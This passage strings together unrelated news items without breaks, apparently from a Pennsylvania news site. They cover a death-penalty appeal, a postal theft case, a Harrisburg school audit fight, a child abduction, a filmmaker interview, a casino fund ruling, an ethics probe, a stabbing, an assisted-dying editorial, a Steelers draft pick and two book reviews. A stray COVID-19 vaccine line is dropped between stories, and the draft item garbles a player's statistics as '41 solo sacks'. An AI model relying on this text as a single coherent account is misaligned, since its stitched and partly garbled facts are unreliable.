how many children Dickson had, Dodd noted, then one asked Did you not think about (Dicksons children) beforehand? Freins response was inaudible, the justice wrote. Even though it should never have been played for the jury, we have no hesitation in concluding that (Chelaks) error in refusing to suppress the statements made by (Frein) in his post-arrest videotaped interview was harmless because the properly admitted and uncontradicted evidence of guilt was so overwhelming and the prejudicial effect of the admission of (the tape) so insignificant by comparison that its admission could not have contributed to the verdict, Dodd wrote. The same holds true for the death sentence determination, she found, even though she agreed prosecutors exceeded their bounds in presenting victim impact testimony during the trials penalty phase. That evidence included photos of Dickson with his wife and one of his sons, in his Marine Corps uniform and at his graduation from the State Police Academy. Dicksons wife Tiffany also told the jurors about her grief and her feeling that she has no identity other than as the widow of a slain officer, Dodd noted. Without question, the victim impact evidencewas extensive, arguably unnecessarily so, the justice wrote. Still, she noted, that didnt change the jurys findings that Freins acts warranted the penultimate punishment. The only dissenting voice was that of Justice David N. Wecht. In a separate opinion, Wecht argued that Freins death sentence should be vacated and a new penalty phase trial held because the disputed victim impact testimony Chelak allowed prosecutors to present exceeded constitutionally permissible limits. The presentation was problematic because the amount and the substance of that evidence, taken as a whole, overwhelmingly infected the fairness of the sentencing proceeding in violation of Freins due process rights, Wecht wrote. WILLIAMSPORT A former postal worker in Mifflin County has been admonished a second time by U.S. Middle District Judge Matthew W. Brann. The latest was Thursday when he placed Leah G. Snyder, 26 of Lewistown, on two years probation during which she must perform 25 hours of community service and pay restitution to the Postal Service of $4,058. Dont do anything like this again, Brann told her as he left the bench. He also advised her to tell the Mifflin County Solid Waste Authority, where she is employed as a part-time weighmaster, that she had stolen money from the Postal Service. She revealed she had not done so when hired and acknowledged she handles a small amount of money as weighmaster. While on probation she cannot hold a position in which she has control of money unless her probation officer approves. The first admonishment came in December when Snyder pleaded guilty to misappropriation of postal funds. The judge gave her a stern reprimand for failing to appear on the date originally set for her guilty plea and for not cooperating with the probation office. Snyder admitted stealing $4,058 between Jan. 1 and April 23, 2018, while working at the Yeagertown Post Office by issuing money orders to herself, stealing cash and falsifying records. An audit revealed a $2,011 discrepancy in her stamp drawer and she admitted taking about $200 a week from the cash drawer. Snyder also admitted stealing money while working in the Burnham post office. She was not charged with that due to the lack of proof, according to an investigator who said Snyder was given the opportunity to resign before being fired. Harrisburg School officials say they dont want state auditors digging around in the districts electronic financial system because they want to protect employees private information such as social security numbers and bank-routing numbers. Auditors have no need for remote access to the electronic financial system, according to School Board President Danielle Robinson, who referred to the audit on her Facebook page this week as a set up. Instead, she said the auditors should sit in the district office and allow employees to show them how to pull specific data from the system. But a complete audit isnt possible without remote access, where auditors are certain they are seeing all the records, and where they can analyze the data using electronic auditing tools, auditors told PennLive. And personal information also is necessary for auditors to detect ghost employees, double payments and other fraud. If you have an employee showing you data, you dont know if they are showing you all of it, said Callie Burnell, a local certified fraud examiner with 25 years experience. That employee could be only showing you the stuff that looks good. Remote access is a routine auditing step. The audit of the Harrisburg School District launched by the state Department of Education was supposed to start last month. Instead, auditors from Wessel & Company, the firm hired by the state, hit a brick wall when they were refused electronic access to financial records. District officials met this week with education department officials, who yanked $10 million in federal funding until auditors get the access they have requested. The state set a deadline of April 30 to get the data. The move comes one month after the education department halted a chunk of other federal grants over concerns about how $700,000 was being spent annually at a program at the high school. While there is a small risk associated with sharing access to personal financial information, Burnell said, auditors have a professional code of conduct to keep confidential information private. The risk is no greater than going to a new doctor, Burnell said, who would have access to your health records. Auditors routinely have access to nearly everyones personal information anyway because banks are audited by examiners four times a year, and 401k plans and other employee benefit plans must be audited annually, according to Wade Becker, a certified public accountant with RKL in Harrisburg. You typically dont hear about banks refusing access because of personal data, Becker said . Most agencies receiving federal money may be audited and you dont routinely see stories of those organizations refusing access. The risk of a personal data breech by a professional auditor is much smaller than the risks of allowing unchecked financial practices and unverified payments in a district thats handling $150 million in public money every year, Burnell said. I am more concerned that the district is not making this information available, as a fraud examiner, Burnell said. What do they have to hide? While school districts have annual audits, those audits are not necessarily designed to detect fraud or weaknesses across the system. Instead, those audits are narrowly focused on double-checking information listed in financial reports. The performance audit launched this year by the state Department of Education is admittedly more technical. It comes on the heels of a series of financial scandals at the Harrisburg School District, all of which indicated a lack of systems and controls at the district. Last year alone, it was revealed the district hired 37 teachers for unbudgeted positions, hired more than 60 teachers at the wrong pay, continued to provide health care benefits for 54 employees who left the district and allowed a transportation supervisor to embezzle $180,000. (That theft was detected by the bank, not the district.) The district also has lacked a full-time chief financial officer since at least 2016 and doesnt have a qualified, experienced business manager, according to the state Department of Education and annual audits of the district. The districts annual audits also have thrown up red flags, unlike other area school districts. A quick check by PennLive showed the Cumberland Valley School District and several other school districts including Middletown and Lancaster with zero deficiencies or weaknesses noted. But Harrisburgs most recent audit posted on the district website showed compliance issues, significant deficiencies or material weaknesses in five out of six categories. Among the problems cited in the 2017 audit, the district: Lacks the necessary technical accounting and financial reporting expertise to adequately address certain complex accounting issues the District faces. Was not tracking fixed assets, due to turnover in the business office. (There have been seven different business managers in the past nine years.) Had a budget forecast that was off by $4 million, indicating the methodology, process and documentation used by the district for its annual budget preparation and review are significantly deficient. (A draft budget due Jan. 31 this year still hasnt been presented to the school board.) Claimed too many meals for federal reimbursement, resulting in more than $123,000 in questioned costs. Created purchase orders that were dated after the actual expenditure occurred for eight of the 40 expenditures tested. If you look at routine audit reports, they are not necessarily designed to detect fraud, Becker said. Because if there is collusion in the leadership group, its almost impossible to detect fraud from just looking at certain documents. Instead, Becker said, direct access to various information systems allows auditors to compare that data against information that has been portrayed to them through prepared reports. It also allows auditors to see what type of internal control systems are in place, for example, to see if the same person is allowed to both enter and approve expenses, which would be a red flag. Unfettered access to electronic data also allow auditors to look at historical data to ensure best practices and strong internal controls are consistently in place instead of just looking at recent data, which could have been cleaned up. Remote access also keeps the costs of an audit down, experts say, removing travel time and associated expenses and the cost of tying up school district staff for days, weeks or months. The proposal by Wessel & Company for the Harrisburg schools audit noted that they planned to use data extraction and analysis software that would automate certain previously manually-intensive procedures such as journal-entry analysis, sampling, and other transactional testing. Becker said he understands a client not wanting to give an auditor live access to a system, where errors could be inadvertently inserted. But Becker said auditors typically want read-only access where they cant change anything, only monitor what is in place. Checking for duplicate social security numbers or bank routing numbers tucked within thousands of employees data could reveal ghost employees who dont really exist or who have left the district. That type of analysis also could reveal vendors who might be getting paid as employees as well as through their vending contract, Burnell said. There is nothing unique about asking for access to a computer system, Burnell said. It may be unique, or the first time anyones asked the Harrisburg School District, but in the auditing community, it is not a unique request. Its a routine request. In her 25 years experience, Burnell said she only had one instance of a client turning down a request for electronic access. In that case, when they later obtained the access, fraud was detected, she said. Here are the purposes of the state audit of Harrisburg schools, according to the request for contractor services, which was awarded to Wessel & Company for $108,000: The purpose of the procedures audit is to: Build on the findings from the Districts annual financial audits, as appropriate, but not to repeat this work. Evaluate the Districts accounting practices and report on any irregularities; Assess the reasons for the Districts recent inability to accurately budget, especially for personnel expenditures, including the level and qualifications of District financial staff. Assess the effectiveness of the Districts internal controls for the business office, human resources office, food service, transportation office, and grants management. REV 10.31.17 Review the activities associated with the placement of teachers on the incorrect step of the salary schedule during the period of FY2016-17 through FY2017-18. Provide an assessment of the situation. Identify and report any instances of fraud, waste or abuse. Review the corrective actions taken by the District to address the findings associated with the FY2016- 17 independent annual financial audit conducted by Stambaugh Ness, PC. Review the corrective actions taken by the District to address the findings associated with the Pennsylvania Department of the Auditor Generals October 2015 audit. Recommend improvements or corrective action concerning the Districts financial management, processes and operations. State police have determined that a girl who was missing for several hours Thursday morning was actually taken from the residence by someone. Four-year-old Gemma Moats was reported missing at 3:30 a.m. Thursday, when state police were called to the Moats home in the 12000 block of Pen Mar Road, Washington Township. An extensive search was put into action, and Moats was found around 10 a.m., police said. Police said Thursday night that they believe she was taken from her home by what they termed an unknown person or persons. A passerby was the one to find her in the 14000 block of Harbaugh Church Road, which is about two and a half miles from where she was taken. Police said Moats was taken to Waynesboro Hospital for a medical evaluation, and was found to be in good health. State polices Major Case Team is focusing its investigation on identifying who took Moats. State police thanked local fire departments, EMS, Army National Guard, county EMS and other volunteers who assisted in the search. Police ask that anyone with information on the abduction or who traveled in the area of the 14000 block of Harbaugh Church Road, prior to 10 a.m. contact the Chambersburg barracks at 717-264-5161. State Education Secretary Pedro Rivera weighed in on Friday on the turmoil playing out in embattled Harrisburg School District that has prompted calls from state lawmakers and local officials for a state takeover of the city school district. Riveras statement didnt specifically address those calls for a takeover but did make a point of saying all actions allowable by law to draft and implement a recovery plan that the students of Harrisburg School District need and deserve will be considered. The state department announced plans to audit the district in October, after a series of financial scandals at the district. Those financial issues include a transportation supervisor accused of embezzling $180,000, the over-hiring of 37 teachers for unbudgeted positions and the continuation of health care coverage for 54 employees who had resigned from the district in recent years. After the district refused to provide auditors access to its financial system, the department this week notified the district it was suspending $10.9 million in federal grants until access is granted. It had previously suspended school improvement grants pending a review of how the district was using those funds to implement a program designed to improve graduation rates. This week, state Auditor General Eugene DePasquale weighed in, saying he was deeply troubled by the school boards refusal to provide state auditors what they need to complete their audit. And for years, the school district has shown weak student progress. Here is the secretarys full statement: Students are the Department of Educations top priority, and it is imperative that we address the Harrisburg School Districts financial operations so that students are receiving the education they deserve. The recovery plan under law is meant to help financial recovery school districts implement various initiatives to lead them into solvency and position them for academic success. We have worked closely with the chief recovery officer and have added resources, including hiring a qualified audit firm, to solicit information that is needed to create a comprehensive plan for improvement that is tailored for the students and community of the Harrisburg School District. The districts refusal to submit appropriate information to the department, and its apparent failure to meet appropriate obligations and expectations, are unacceptable. The Department of Education will consider all actions allowable by law to draft and implement a recovery plan that the students of Harrisburg School District need and deserve. Additionally, it is important to note that the district has already received its April federal funding. As the district cooperates with the departments requests, we are hopeful that we will be in a position to remove the suspension [of future federal funding] at some point in the future. Jan Murphy may be reached at jmurphy@pennlive.com. Follow her on Twitter at @JanMurphy. Start your day in the know. Sign up for Good Morning, Pennsylvania. Filmmaker Swati Bhattacharya says its sad that our hunger to find people to look up to ends with film stars. By Team Viva Her work focusses on gender, feminism, religion and urban life spanning many forms including advertising, documentary, short films and blogs. With all these different formats, filmmaker Swati Bhattacharya has fought against the usual stereotyping of women. While she stays married to advertising, her short films are what she calls a legitimate affair. Her films have won Spikes Gold and featured in the Vancouver, Toronto and Miami shorts. They have also won the Best Short Film award at the Kolkata International Short Film Festival and the prestigious Dada Saheb Phalke for the Best Screenplay. Swatis latest documentary film, The Saints Of Sin, is currently creating waves. It takes us through the journey of eight real women who have fought against an unfair society. One woman talks about being sexually abused by her brother, another is a transgender who wishes to find a man who loves her like he would a normal woman. The film explores the sins these women fight against while taking a stand in the society. Your films have travelled to various international film festivals. How would you differentiate the way they have been received by the Indian and the international audience? Yes, its true that both my short and advertising films have travelled abroad. In advertising, only when a campaign is successful in the market, is it good enough to be sent for any competition because the advertising contests are never just about the creative idea. There is a strong angle of effectiveness and what it did for the brand. So, all my works that have gone abroad worked in India as well. Its the same with short films because you first premiere them in the country, you get support and encouragement and then you think about taking it abroad. There is no difference when I air my film in New York, Bangladesh or in Delhi because my work is universal and women from anywhere across the globe can relate to it. Short films are small yet have a lot to say. When and why did you first plan to make them? Why not on-screen big films or a web series? Advertising has taught me one big thing distillation or crystallisation which is not taking time for granted. But I am gradually progressing. The Saints of Sin is one hour and 20 minutes long. I feel slowly and steadily before I actually hit the grave I should have written a long film. I am creative but at the same time a lazy person as well so things come a little late to me. How did you conceptualise the film Bhukkad? What was the research work involved before you executed the plan? It started off with the Open Door project by Shantanu Prakash, founder of the Millennium school and his vision for the campaign. His dream of democratisation of education got me thinking. The story revolves around a boy, who develops a hunger for education. He tries to find ways to satiate his hunger for knowledge. Its about how the quest of education keeps him alive. The film exemplifies the need for hunger by portraying how despite his shortcomings, he finds a way to learn. Throughout the film, I wanted to inspire other children who live in poverty. I wanted them to feel the want and learn the importance of going to school. And also to encourage schools to open their doors for less fortunate kids. As for the research, I put everybody on it including my nephews and nieces who came visiting. I tried to find as much I could from exploring the GB road to knowing the size of the rooms there. I contacted Anam Mishra whose work I have always admired. He spent days in Kamathipura (red light district in Mumbai) to know more about the topic. Even though the place doesnt allow filming, he found a way to work with the sex workers for the insights and the ground information as we both wanted an authentic film. How do films like these and their research shape or influence your personal perspective about such issues in society? In the age and life we are living, we need heroes and its sad that our hunger to find them ends with film stars and may be a politician but there are some extra ordinary lives that ordinary people are living and the way they can inspire and do something, even if it is just cleaning the roads. I get inspired by real heroes and not reel ones. Real heroes dont wear capes. I like what normal people are capable of and that has always been a special part of the kind of films I make. Being a single parent in the world of advertising and cinema could be extremely challenging... What has been your creative process for your multiple achievements? I think nobody really cares. My mother has always seen me as a rockstar even before I won anything, so nothing changes there and if I talk about my daughters, I dont see them terribly excited when I win anything but they are curious enough to say show us your film. I think it wouldn't be fair for me to expect adulation from them. Once on being asked how my daughter helps me at home, she said, I give her ideas for her films. I keep telling every women that its not important to score 10 on 10 as a CEO or even as a mother. Everything should come straight from the heart. My report card varies from day to day and its completely fine. What inspired Double Shift? Well, I live in Gurugram and often during the Christmas season I see these very thin, dark men with empty stomachs, roaming around with big bags, wearing Santa suits, smiling at kids and giving them chocolates. On the other hand, people have no clue how their own children are. There is something about sad people wearing happy clown suits thats the image I wanted to depict in the film. So that tale is from there. You are the recipient of many awards like the Dada Saheb Phalke. What do these mean to you? They are great, in a sense they validate you and tell you that someone who was mediocre for the most part of her life, can be an expert also. I think what happens in my projects is that I often work with very little finances. I often depend on filmmakers who have now turned friends and when we get an award it becomes a celebration for all of us to come together for a cause. The cause could be like the one in The Saints of Sin where women are encouraged to not create a pretty picture book of themselves but rather accept their flaws. How do you think the film industry has evolved in India? I am a bit jealous of the film industry because when I started advertising, we were the cool guys and cinema was very measured, toeing the line. We gave birth to many new ideas and lingos. Now there are a lot of filmmakers who are delivering great content like Zoya Akhtar, Ritesh Batra and others. Theres more variety and with the advent of online platform, its reaching the new heights. Binge watching is happening because of the quality content. Its addictive like cocaine. Your forthcoming projects? Well, right now I am knee deep in the open door project and after that I will think of getting into something else. (Swati Bhattacharya is also the chief creative officer of FCB Ulka.) Pennsylvania must refund millions of dollars that casinos were required to pay into a special fund designed to aid gambling meccas that are underperforming financially, the state Supreme Court ruled Friday. The problem, Chief Justice Thomas G. Saylor found in the courts majority opinion, is that profitable casinos like the Sands in Bethlehem and the Parx in Bensalem were paying the most into the fund but receiving little or nothing in return. Saylors court took up the case after Sands and Parx officials challenged the constitutionality of legislation passed in 2017 that set up the Casino Marketing and Capital Development Account. Every casino had to pay percentage of its gross terminal revenue from its slot machines into the fund. That money was supposed to be used to help struggling casinos make marketing and capital improvements, Saylor noted. The legislation, known as Act 42, was to remain in force until all casinos exceeded annual targeted slot machine revenue caps - $200 million for the largest operations and $50 million for smaller ones. It was to expire within 10 years even if those goals werent met. As Saylor noted, under the Act 42 funding formula only seven of the states 12 casinos would be eligible for allotments based on their 2017-18 financial performance. Two would receive mandatory $4 million distributions, two would get $2.5 million and another would receive $500,000. None of that money has been distributed because his court barred the state from doing so while the legal battle was waged, the chief justice noted. Saylor found that the more-you-pay-the-less-you-get-in-return formula isnt constitutionally sustainable. That is so, he concluded, even if the Legislature intended Act 42 to bolster the states gaming industry, which is a major generator of tax income. Any advantage that a high-earning casino which does not qualify for an automatic distribution might receive from the gaming industry being up and running throughout Pennsylvania is too speculative to be considered a benefit proportional to the amount of money it must pay into the (Act 42) account, Saylor wrote. The State Ethics Commission has told a senior aide to Gov. Tom Wolf it has closed its investigation into a conflict of interest allegation against her with no findings of a violation. The commission opened a case file against Wolf Deputy Chief of Staff Yesenia Bane last year, in response to a charge from a pipeline activist that Bane had used her position to benefit her husbands business interests. The allegations centered on 2015 and 2016. A Special Assistant to the Governor at the time, one of Yesenia Banes responsibilities included serving as a Wolf Administration liasion to the natural gas industry, which at the time was in almost constant conflict with the governor over his call for a severance tax and drilling regulations. Her husband, John Bane was working as a lobbyist for Buchanan, Ingersoll & Rooney, which represented several natural gas, pipeline and other energy interests. The commission, in its April 19 letter notifying Yesenia Bane the probe is closed, did note the Banes respective positions created a perception that your actions in fulfilling the governors policy agenda was a way for you to financially benefit your husband and/or his employees. But, the letter continued, There is insufficient evidence of motivated, directed action on your part to obtain a private pecuniary (financial) benefit for your husband... Instead, the evidence gathered points to you acting as a liasion and fulfilling the governors policy agenda. An appearance of a conflict in itself, state ethics experts have noted, does not constitute an Ethics Act violation. The close-out letter, dated April 19, was shared with PennLive this week. Caroline Hughes, who filed the initial complaint against Bane in November, could not be reached for comment for this report. Hughes is a member of the grassroots group Del-Chesco United for Pipeline Safety, a grassroots group with grave concerns about the controversial Mariner East II pipeline project. According to state lobbyist disclosure records, Buchanan Ingersoll did not represent Energy Transfer or Sunoco Pipeline, the firms leading the Mariner pipeline projects. Among the incidents that had drawn scrutiny to the Banes: * In the summer of 2015, Yesenia Bane sent an email requesting the removal of an anti-fracking activist from a state pipeline task force he'd been appointed to. * In September 2016, Yesenia Bane was on a panel discussion about pipelines at the annual Shale Insight conference in Pittsburgh, hosted by the gas trade group, the Marcellus Shale Coalition. There, according to reports, she said Gov. Wolf is open to lobbying his counterpart, New York Gov. Andrew Cuomo, to grant regulatory approvals to the Constitution pipeline - a project that one of Buchanan Ingersolls clients, Williams Partners, was involved in. Both incidents were initially reported in December 2016 by StateImpact PA, a public radio reporting project with a focus on the states energy economy. Shortly after, in the winter of 2017, environmental issues were removed from Yesenia Banes portfolio. Wolf administration officials have said that was the result of larger changes brought on by then-Chief of Staff Mary Isenhours departure to work on Wolfs 2018 re-election campaign. The reorganization included a promotion for Yesenia Bane to deputy chief of staff. Yesenia Bane now primarily works on education / workforce development, economic development and transportation issues for Wolf. Her salary is $148,069. John Bane, since November 2016, has worked as a government relations manager for EQT, a Pittsburgh-based natural gas driller. The Ethics Commission letter, signed by Assistant Counsel Jeffery Frankenburger, also cited two memos from September and December 2016 in which Bane acknowledged her husbands work as a lobbyist, and recused herself from any matters involving his employers. The investigation did not produce sufficient evidence, in contradiction to the memos, that you took any official action and / or used confidential information that financially benefitted your husband and / or his employers, Frankenburger wrote. Wolf has made ethics in government a watchword of his first term in office. But the administration has also found itself under heavy fire many times from opponents of new pipeline development, which the governor and other supporters have said they see as a necessary by-product of the states Marcellus Shale gas drilling boom. The heaviest opposition has come over the Mariner East II project, which has been fraught with problems including the contamination of about two dozen private wells in Chester County, sinkholes and a variety of engineering problems. Pipeline critics have accused Yesenia Bane and other Wolf Administration officials of putting political pressure on state regulators to approve earth disturbance, stream crossing and other construction-related permits associated with Mariner East II in early 2017. Wolfs office has vehemently denied those charges. (Approval of the pipeline itself occurred prior to Wolfs election.) In the last several months, both the Chester County District Attorneys office and state Attorney General Josh Shapiro announced they have opened separate inquiries into aspects of the project. Wolf Administration officials, who at times have felt pipeline opponents havent properly recognized the Department of Environmental Protections own crackdowns on pipeline violations, hailed the Ethics Commissions conclusion. In a statement on the Ethics cases closure, Wolfs press secretary J.J. Abbott wrote: "We said from the beginning that Yesenia did nothing wrong and, after an extremely exhaustive investigation, the Ethics Commission confirmed that... It is unfortunate that the Ethics Commission was forced to waste taxpayer resources to debunk sensational and bad faith speculation. We are eager to move on and continue our work to make Pennsylvania a better place. Yesenia Banes attorney, Matthew Haverstick, told PennLive Friday he felt his client had become collateral damage in the pipeline wars. I wish someday the people who make these baseless allegations would have to go through regulatory scrutiny and be smeared in the press for doing so. They might be more careful if they understood the human cost," Haverstick said. Shes a dedicated public servant and there were zero facts that she did anything suggestive of a conflict-of-interest violation. Police have identified a York man as a suspect in the fatal stabbing of Jason Markley. A warrant has been issued for Jordan Mantilla, 22, police said late Thursday night. He is charged with criminal homicide. Markley, 27, was stabbed in the 500 block of Wallace Street on Tuesday night, police said previously. He was taken to a hospital for treatment, but died as a result of his injuries. Police describe Mantilla as being 5 foot 7 inches, 150 pounds, with brown eyes and brown hair. Anyone with information on Mantilla is asked to contact York City police using any of the following methods. A cash reward is offered for anonymous tips: Text information to York tips at 847411 (TIP411) Call York County Crime Stoppers at 755TIPS York City Police Tip Line at 717-849-2204 York City Police Department at 717-846-1234 or 717-849-2219 PennLive columnist Bob Quarteroni, who died April 15 from the ravages of ALS, wanted to live. Failing that, he wanted to minimize his suffering, by means of assisted dying. He didnt have that choice either. No one should have to go through what he did. Quarteroni did us a great service by telling us in his final two columns, March 5 and 22, exactly what ALS and our state put him through because Pennsylvania prohibits physician-assisted suicide. He was diagnosed in November 2018 with ALS (amyotrophic lateral sclerosis) and given a few horrifying months to live. ALS or Lou Gehrigs disease progressively paralyzes a person, while maintaining the mental faculties, until they cant move, speak, swallow or breathe. Quarteroni described the experience in words as brutal as the disease itself. In a column titled My body is collapsing around me, he wrote, Looking into the ravening eyes of the great dog death over and over and over and over is a terror beyond words, a putrid, bleak knowing, an abomination. To avoid such a horrible passing, he planned to travel to Switzerland to end his life with doctors assistancebut it wasnt to be. His words and experience are a call to action that deserves an answer before many more sufferers die without options or a say in how they go. Its time to pass, or at the very least, hold hearings on, the Death with Dignity bill thats been introduced by Rep. and later-Sen. Daylen Leach in 2007, 2009, 2011, 2013, 2014, 2015 and 2017, which has never gotten out of committee. Leach plans to reintroduce the bill again this year. According to the Death With Dignity website, California, Colorado, the District of Columbia, Hawaii, Oregon, Vermont and Washington have death with dignity statutes, which allow terminally-ill adults to request and receive a prescription medication to hasten their death. Montana doesnt have such a statute but allows physician-assisted dying. https://www.deathwithdignity.org/states/pennsylvania/ The option is open only to state residents, which is why Quarteroni made his unfulfilled plans to travel to Switzerland. Were not suggesting such legislation be entered into lightly. There are valid concerns that need to be addressed to ensure that the option of assisted dying is rare but available to those who need it and who are able to meet high standards of competence and consent. This is doable, as other states and countries have demonstrated. Theres strong public support for assisted dying nationally. PennLive reported that in 2018, Gallup found that 72% of Americans believe a doctor should be allowed to help a suffering patient to die when thats what the patient wants. More than half of all states considered legalizing doctor-assisted suicide in 2017. In Pennsylvania, Leach again introduced his Death with Dignity bill, but unfortunately, it again got stuck in the Judiciary Committee. This year is another chance to get it right. Pennsylvania voters should insist that Death with Dignity legislation get a place on the agenda, where it doesnt get lost in the annual state budget fight, the runup to the 2020 elections or the debate over legalizing marijuana. Its not a revenue-generator, like legal marijuana, but it should still mean something. A full debate and passage surely would require less courage of lawmakers than was demanded of Quarteroni. We owe it to him -- and to the others who may walk this road -- to take seriously his last words and his painful plight. Though we couldnt do anything within the law to mitigate his suffering, we still can end the injustice of forced suffering for others. PITTSBURGH Devin Bush became the Steelers direct replacement for Ryan Shazier Thursday night. Pittsburgh traded its 2019 2nd-round pick, which is 52nd overall, and the teams 2020 3rd-round pick to the Denver Broncos, jumping up from No. 20 overall to 10th to select the Michigan inside linebacker. Steelers general manager Kevin Colbert had acknowledged that, unlike in 2018, the team did need to address the position with a like-for-like replacement. Bush has stepped into that role. If he starts, he will likely do so alongside veteran inside linebacker Vince Williams or former Los Angeles Ram Mark Barron, who Pittsburgh acquired in free agency. The 5-foot-11, 233-pound Bush compiled 41 solo sacks, 25 assisted, 8.5 tackles for a loss and 4.5 sacks as a junior. Mike Tomlin and Colbert have acknowledged Pittsburghs preference for underclassmen. And Bush did declare for the draft with one year of eligibility remaining. He is the first first-round inside linebacker selection by the Steelers since they picked Ryan Shazier 15th overall in 2014. His pick comes at the end of Pittsburghs third first-round trade since 2003, following deals for Troy Polamalu and Santonio Holmes. Rd. 1, No. 10 overall (via Denver Broncos - Rd. 2, No. 52 -Traded as part of deal for Bush w/ 2020 third-round pick Rd. 3, No. 66 - Rd. 3, No. 83 - Rd. 4, No. 122 - Rd. 5, No. 141 - Rd. 6, No. 175 - Rd. 6, No. 192 - Rd. 6, No. 207 - Rd. 7, No. 219 - One year later, more than 129,000 COVID-19 vaccines have been administered in region As of December 18, the Health Department of Northwest Michigan has given 61,424 of COVID-19 doses across its service area of Antrim, Charlevoix, Emmet and Otsego counties. Savage Feast Three Generations, Two Continents, and a Dinner Table (A Memoir With Recipes). By Boris Fishman HarperCollins. 348 pp. $27.99 Reviewed by Panthea Reid In 1796, Amelia Simmons, an American orphan, instructed the readers of her American Cookery on how To Dress a Turtle and to make A cheap feed Cake, among other concoctions. As we know, more than two centuries of cookbooks have followed, culminating in televised cooking shows and a succession of how-to cookbooks. Still, it may be news to some that there is an actual genre of food memoirs, distinct from cookbooks. I discovered that news only when I started writing one. Since then, Ive been reading every food memoir available, including those by Anthony Bourdain, Gabrielle Hamilton, Ruth Reichl, Michael Pollan, Samin Nosrat, Michael Twitty, and now Boris Fishman. His is the most focused and most multilayered of these wonderful books. First, he tells the story of his familys escape from Minsk to America. This tale includes stories of older generations nearly wiped out in the Holocaust. Among the many associations of the word savage are the various postwar brutalities of the USSR, which included discrimination, bribery, thievery, institutionalized cheating, expedient killings, and disregard for religion and truth. When he was 9, Boris managed to leave with his parents and maternal grandparents, with the help of an international antidiscrimination league. Jewish atheists, they chose to immigrate to the United States rather than to Israel. Along the way, through Austria and then Italy, with meager supplies, the resourceful grandmother cooked wonderful meals, including roast chicken stuffed with dried fruit and apples. Settling into the new country, Fishmans parents expected success from him, even while imparting a distinctly Soviet fear of risk-taking in their son. Fishman tells about his atheist mothers insistence that the family (whats left of it) celebrate Passover together in Brooklyn with her father. As provocateur, Boris once brings a Haggadah to the Seder. His family doesnt know what to make of the book, which explains the traditions they gather to celebrate, one of many cultural disjunctions in Savage Feast. After the death of his grandmother, Boris grandfather luckily acquired a home aide named Oksana, an excellent cook. Although a Christian, she has learned (and continues to learn) Jewish recipes from the old country. They are not so different from those she knows from her own heritage. (She maintains, however, that her family of ordinary Ukrainians did not know what was happening to their Jewish neighbors in the Second World War.) Fishman forgives and finds reconciliation in her food. He provides recipes that may sound heavy or Slavic, as with liver pie or braised veal tongue. (He testifies that these recipes produce extraordinary dishes. Ill try the vegetarian ones first.) Fishman takes a trip with Oksana back to Ukraine. He brings his computer and video camera because, for him, the trip is a research project. For her, its a homecoming. But Oksanas daughter suspects Fishmans intentions, supposing that he plans to set up her mother in a cafe and rip off earnings from her magical cooking talents. Such stories of eastern European suspicion help raise the narrative from the personal to the public and historical. The genre of food memoir, I find, demands a redemption story. The formula is less pronounced in more scientific memoirs such as Nosrats Salt Fat Acid Heat or Pollans Cooked. Such books deal with the transformations that occur when the elements of food are properly brought forth through cooking. More subjective books such as Reichls My Cooking Year insist on the restorative properties of cooking itself. In his important book The Cooking Gene, Twitty discovers in African American and Jewish cooking the common inheritance of slavery and redemptive cooking. Fishmans story is also one of redemption. In the depths of depression, he calls Oksana and asks to cook with her. He volunteers to work on a farm, milking cows and performing exhausting physical labors. At a Russian restaurant, he makes borscht and thereby becomes a valued staff member. There he meets a woman, whom he follows to a South Dakota camp for American Indian children. He earns appreciation and affection from many kids and his one true love through cooking for them all. Fishmans food memoir is terrifically nuanced and multidimensional. Panthea Reid is the author, most recently, of Body and Soul: A Memoir of Love, Loss, and Healing. Trust Exercise By Susan Choi Henry Holt. 272 pp. $27 Reviewed by Ron Charles Theres one in every high school: a charismatic teacher who cultivates a clique of acolytes. Miss Jean Brodie aside, this teacher is typically a man in his prime, parceling out the precious gift of his intimacy to a select group. Amid rumors of some past glory, he radiated an air of long-suffering superiority, as though his willingness to teach mere high school students were another example of his largesse. He was a vampire thirsty for the fervor of teenage boys and girls. That immortal figure rises up at the center of Susan Chois Trust Exercise, the latest of her startling novels about academic life. Mr. Kingsley is a theater teacher at Citywide Academy for the Performing Arts, an elite institution "intended to cream off the most talented" students and prepare them for "their exceptional lives." Mr. Kingsley is exotic by the standards of this unnamed Southern town in the early 1980s. He once lived in New York! He refers to Broadway star Joel Grey as Joel! He owns a "bizarre human-size doll that was supposed to be called a soft sculpture. To the theater students desperate for his attention, "Mr. Kingsley was impossibly witty and sometimes impossibly cutting; the prospect of talking with him was terrifying and galvanizing; one longed to live up to his brilliance and equally feared that it couldnt be done." This is the most precise skewering of a magnetic teacher since Muriel Sparks 1961 classic. Chois voice blends an adolescents awe with an adults irony. Its a letter-perfect satire of the special strain of egotism and obsession that can fester in academic settings. Choi is particularly attentive to Mr. Kingsleys inane maxims, which his adoring students polish into sacred incantations. This reminds me so clearly of my own slavish scribblings during senior year that I cant help laughing and cringing, as though Choi were spying on me in high school. Shes a master of emotional pacing: the sudden revelation, the unexpected attack. Shes equally astute at portraying the exaggerated passions of teenage life and the way that youthful energy warps the fabric of reality. "Remember the impossible eventfulness of time," Choi tells us, "transformation and emotion packed like gunpowder into the barrel. Remember the dilation and diffusion, the years within days. Theirs were endless; lives flowered and died between waking and noon." At the center of this story is 15-year-old Sarah, one of those sophisticated young women trapped in "the excruciating in-betweenness of no longer being children, yet lacking those powers enjoyed by adults." Shes swept up in a steamy relationship with another sophomore, an insatiable young man named David whose sexual prowess sets the school ablaze with gossip. "They were as noticeable as lighthouses," Choi writes. "Even when they both stared straight ahead, the wire ran between them, and their peers changed their paths to avoid tripping on it." How cunningly this novel considers the way teenage sexuality is experienced, manipulated, and remembered. And no one writes about erotic misadventures with more vicious humor than Choi. When Mr. Kingsley gets wind of Sarah and Davids tumultuous relationship, he sweeps in with a series of classroom activities trust exercises" supposedly designed to elicit authentic emotions. But the enterprise feels both exploitative and humiliating, a kind of emotional pornography designed for his benefit. At the end of class when Mr. Kingsley says, Sarah, come by and see me tomorrow at lunch, her peers know shes not in trouble. Sarah has become the kind of Problem they would all like to be, Choi writes. How proud she feels, to command his attention. Dont fancy you know where this is going; Choi will outsmart you at every step. Halfway through the novel, she suddenly recasts the entire story several years in the future and from a different point of view. Its a vertiginous maneuver that remains unsettling as Chois new narrator shifts erratically between first and third person, trying to unpack whats sealed in the amber of a childhood crush. Who gave consent and who can give consent become questions complicated by a conspiracy of shame and shamelessness, the competing desires of young frenemies and unscrupulous adults. The result is a dramatic exploration of the distorting forces of memory, envy, and art. And Chois brief final section, which 